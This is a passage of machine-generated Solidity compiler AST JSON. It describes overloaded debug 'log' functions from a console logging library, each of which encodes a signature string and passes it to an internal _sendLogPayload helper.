6,"nodeType":"FunctionDefinition","src":"43762:187:15","nodes":[],"body":{"id":28755,"nodeType":"Block","src":"43840:109:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728737472696e672c616464726573732c626f6f6c2c75696e7432353629","id":28747,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"43890:34:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_3e9f866aadef9b1f2b0257e0ed5e2df8882ba55e598b4f5282674b64ae3f06b5","typeString":"literal_string \"log(string,address,bool,uint256)\""},"value":"log(string,address,bool,uint256)"},{"id":28748,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":28735,"src":"43926:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":28749,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":28737,"src":"43930:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":28750,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":28739,"src":"43934:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":28751,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":28741,"src":"43938:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_3e9f866aadef9b1f2b0257e0ed5e2df8882ba55e598b4f5282674b64ae3f06b5","typeString":"literal_string \"log(string,address,bool,uint256)\""},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":28745,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"43866:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":28746,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"43870:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"43866:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":28752,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"43866:75:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":28744,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"43850:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":28753,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"43850:92:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":28754,"nodeType":"ExpressionStatement","src":"43850:92:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"43771:3:15","parameters":{"id":28742,"nodeType":"ParameterList","parameters":[{"constant":false,"id":28735,"mutability":"mutable","name":"p0","nameLocation":"43789:2:15","nodeType":"VariableDeclaration","scope":28756,"src":"43775:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":28734,"name":"string","nodeType":"ElementaryTypeName","src":"43775:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":28737,"mutability":"mutable","name":"p1","nameLocation":"43801:2:15","nodeType":"VariableDeclaration","scope":28756,"src":"43793:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":28736,"name":"address","nodeType":"ElementaryTypeName","src":"43793:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":28739,"mutability":"mutable","name":"p2","nameLocation":"43810:2:15","nodeType":"VariableDeclaration","scope":28756,"src":"43805:7:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":28738,"name":"bool","nodeType":"ElementaryTypeName","src":"43805:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":28741,"mutability":"mutable","name":"p3","nameLocation":"43822:2:15","nodeType":"VariableDeclaration","scope":28756,"src":"43814:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":28740,"name":"uint256","nodeType":"ElementaryTypeName","src":"43814:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"43774:51:15"},"returnParameters":{"id":28743,"nodeType":"ParameterList","parameters":[],"src":"43840:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":28779,"nodeType":"FunctionDefinition","src":"43955:192:15","nodes":[],"body":{"id":28778,"nodeType":"Block","src":"44039:108:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728737472696e672c616464726573732c626f6f6c2c737472696e6729","id":28770,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"44089:33:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_0454c0793d4a41e5f630eb9a887926f8a67ff9e817a5feb968698354ac9d22fb","typeString":"literal_string \"log(string,address,bool,string)\""},"value":"log(string,address,bool,string)"},{"id":28771,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":28758,"src":"44124:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":28772,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":28760,"src":"44128:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":28773,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":28762,"src":"44132:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":28774,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":28764,"src":"44136:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_0454c0793d4a41e5f630eb9a887926f8a67ff9e817a5feb968698354ac9d22fb","typeString":"literal_string \"log(string,address,bool,string)\""},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"expression":{"id":28768,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"44065:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":28769,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"44069:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"44065:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":28775,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"44065:74:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":28767,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"44049:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":28776,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"44049:91:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":28777,"nodeType":"ExpressionStatement","src":"44049:91:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"43964:3:15","parameters":{"id":28765,"nodeType":"ParameterList","parameters":[{"constant":false,"id":28758,"mutability":"mutable","name":"p0","nameLocation":"43982:2:15","nodeType":"VariableDeclaration","scope":28779,"src":"43968:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":28757,"name":"string","nodeType":"ElementaryTypeName","src":"43968:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":28760,"mutability":"mutable","name":"p1","nameLocation":"43994:2:15","nodeType":"VariableDeclaration","scope":28779,"src":"43986:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":28759,"name":"address","nodeType":"ElementaryTypeName","src":"43986:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":28762,"mutability":"mutable","name":"p2","nameLocation":"44003:2:15","nodeType":"VariableDeclaration","scope":28779,"src":"43998:7:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":28761,"name":"bool","nodeType":"ElementaryTypeName","src":"43998:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":28764,"mutability":"mutable","name":"p3","nameLocation":"44021:2:15","nodeType":"VariableDeclaration","scope":28779,"src":"44007:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":28763,"name":"string","nodeType":"ElementaryTypeName","src":"44007:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"43967:57:15"},"returnParameters":{"id":28766,"nodeType":"ParameterList","parameters":[],"src":"44039:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":28802,"nodeType":"FunctionDefinition","src":"44153:181:15","nodes":[],"body":{"id":28801,"nodeType":"Block","src":"44228:106:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728737472696e672c616464726573732c626f6f6c2c626f6f6c29","id":28793,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"44278:31:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_79884c2bc85eb73c854df1610df373a05f191b834f79cd47a7ab28be2308c039","typeString":"literal_string \"log(string,address,bool,bool)\""},"value":"log(string,address,bool,bool)"},{"id":28794,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":28781,"src":"44311:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":28795,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":28783,"src":"44315:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":28796,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":28785,"src":"44319:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":28797,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":28787,"src":"44323:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_79884c2bc85eb73c854df1610df373a05f191b834f79cd47a7ab28be2308c039","typeString":"literal_string \"log(string,address,bool,bool)\""},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_bool","typeString":"bool"}],"expression":{"id":28791,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"44254:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":28792,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"44258:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"44254:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":28798,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"44254:72:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":28790,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"44238:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":28799,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"44238:89:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":28800,"nodeType":"ExpressionStatement","src":"44238:89:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"44162:3:15","parameters":{"id":28788,"nodeType":"ParameterList","parameters":[{"constant":false,"id":28781,"mutability":"mutable","name":"p0","nameLocation":"44180:2:15","nodeType":"VariableDeclaration","scope":28802,"src":"44166:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":28780,"name":"string","nodeType":"ElementaryTypeName","src":"44166:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":28783,"mutability":"mutable","name":"p1","nameLocation":"44192:2:15","nodeType":"VariableDeclaration","scope":28802,"src":"44184:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":28782,"name":"address","nodeType":"ElementaryTypeName","src":"44184:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":28785,"mutability":"mutable","name":"p2","nameLocation":"44201:2:15","nodeType":"VariableDeclaration","scope":28802,"src":"44196:7:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":28784,"name":"bool","nodeType":"ElementaryTypeName","src":"44196:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":28787,"mutability":"mutable","name":"p3","nameLocation":"44210:2:15","nodeType":"VariableDeclaration","scope":28802,"src":"44205:7:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":28786,"name":"bool","nodeType":"ElementaryTypeName","src":"44205:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"44165:48:15"},"returnParameters":{"id":28789,"nodeType":"ParameterList","parameters":[],"src":"44228:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":28825,"nodeType":"FunctionDefinition","src":"44340:187:15","nodes":[],"body":{"id":28824,"nodeType":"Block","src":"44418:109:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728737472696e672c616464726573732c626f6f6c2c6164647265737329","id":28816,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"44468:34:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_223603bd064d72559a7d519ad0f1c6a8da707a49f5718dfa23a5ccb01bf9ab76","typeString":"literal_string \"log(string,address,bool,address)\""},"value":"log(string,address,bool,address)"},{"id":28817,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":28804,"src":"44504:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":28818,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":28806,"src":"44508:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":28819,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":28808,"src":"44512:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":28820,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":28810,"src":"44516:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_223603bd064d72559a7d519ad0f1c6a8da707a49f5718dfa23a5ccb01bf9ab76","typeString":"literal_string \"log(string,address,bool,address)\""},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":28814,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"44444:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":28815,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"44448:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"44444:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":28821,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"44444:75:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":28813,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"44428:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":28822,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"44428:92:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":28823,"nodeType":"ExpressionStatement","src":"44428:92:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"44349:3:15","parameters":{"id":28811,"nodeType":"ParameterList","parameters":[{"constant":false,"id":28804,"mutability":"mutable","name":"p0","nameLocation":"44367:2:15","nodeType":"VariableDeclaration","scope":28825,"src":"44353:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":28803,"name":"string","nodeType":"ElementaryTypeName","src":"44353:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":28806,"mutability":"mutable","name":"p1","nameLocation":"44379:2:15","nodeType":"VariableDeclaration","scope":28825,"src":"44371:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":28805,"name":"address","nodeType":"ElementaryTypeName","src":"44371:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":28808,"mutability":"mutable","name":"p2","nameLocation":"44388:2:15","nodeType":"VariableDeclaration","scope":28825,"src":"44383:7:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":28807,"name":"bool","nodeType":"ElementaryTypeName","src":"44383:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":28810,"mutability":"mutable","name":"p3","nameLocation":"44400:2:15","nodeType":"VariableDeclaration","scope":28825,"src":"44392:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":28809,"name":"address","nodeType":"ElementaryTypeName","src":"44392:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"44352:51:15"},"returnParameters":{"id":28812,"nodeType":"ParameterList","parameters":[],"src":"44418:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":28848,"nodeType":"FunctionDefinition","src":"44533:193:15","nodes":[],"body":{"id":28847,"nodeType":"Block","src":"44614:112:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728737472696e672c616464726573732c616464726573732c75696e7432353629","id":28839,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"44664:37:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_8ef3f399de1ebecd7840dee5f4cdc1bad43021ab37fa3acdd3dfbd36f7092e7b","typeString":"literal_string \"log(string,address,address,uint256)\""},"value":"log(string,address,address,uint256)"},{"id":28840,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":28827,"src":"44703:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":28841,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":28829,"src":"44707:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":28842,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":28831,"src":"44711:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":28843,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":28833,"src":"44715:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_8ef3f399de1ebecd7840dee5f4cdc1bad43021ab37fa3acdd3dfbd36f7092e7b","typeString":"literal_string \"log(string,address,address,uint256)\""},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":28837,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"44640:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":28838,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"44644:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"44640:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":28844,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"44640:78:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":28836,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"44624:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":28845,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"44624:95:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":28846,"nodeType":"ExpressionStatement","src":"44624:95:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"44542:3:15","parameters":{"id":28834,"nodeType":"ParameterList","parameters":[{"constant":false,"id":28827,"mutability":"mutable","name":"p0","nameLocation":"44560:2:15","nodeType":"VariableDeclaration","scope":28848,"src":"44546:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":28826,"name":"string","nodeType":"ElementaryTypeName","src":"44546:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":28829,"mutability":"mutable","name":"p1","nameLocation":"44572:2:15","nodeType":"VariableDeclaration","scope":28848,"src":"44564:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":28828,"name":"address","nodeType":"ElementaryTypeName","src":"44564:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":28831,"mutability":"mutable","name":"p2","nameLocation":"44584:2:15","nodeType":"VariableDeclaration","scope":28848,"src":"44576:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":28830,"name":"address","nodeType":"ElementaryTypeName","src":"44576:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":28833,"mutability":"mutable","name":"p3","nameLocation":"44596:2:15","nodeType":"VariableDeclaration","scope":28848,"src":"44588:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":28832,"name":"uint256","nodeType":"ElementaryTypeName","src":"44588:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"44545:54:15"},"returnParameters":{"id":28835,"nodeType":"ParameterList","parameters":[],"src":"44614:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":28871,"nodeType":"FunctionDefinition","src":"44732:198:15","nodes":[],"body":{"id":28870,"nodeType":"Block","src":"44819:111:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728737472696e672c616464726573732c616464726573732c737472696e6729","id":28862,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"44869:36:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_800a1c6756a402b6162ca8653fd8e87e2c52d1c019c876e92eb2980479636a76","typeString":"literal_string \"log(string,address,address,string)\""},"value":"log(string,address,address,string)"},{"id":28863,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":28850,"src":"44907:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":28864,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":28852,"src":"44911:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":28865,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":28854,"src":"44915:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":28866,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":28856,"src":"44919:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_800a1c6756a402b6162ca8653fd8e87e2c52d1c019c876e92eb2980479636a76","typeString":"literal_string \"log(string,address,address,string)\""},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"expression":{"id":28860,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"44845:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":28861,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"44849:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"44845:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes 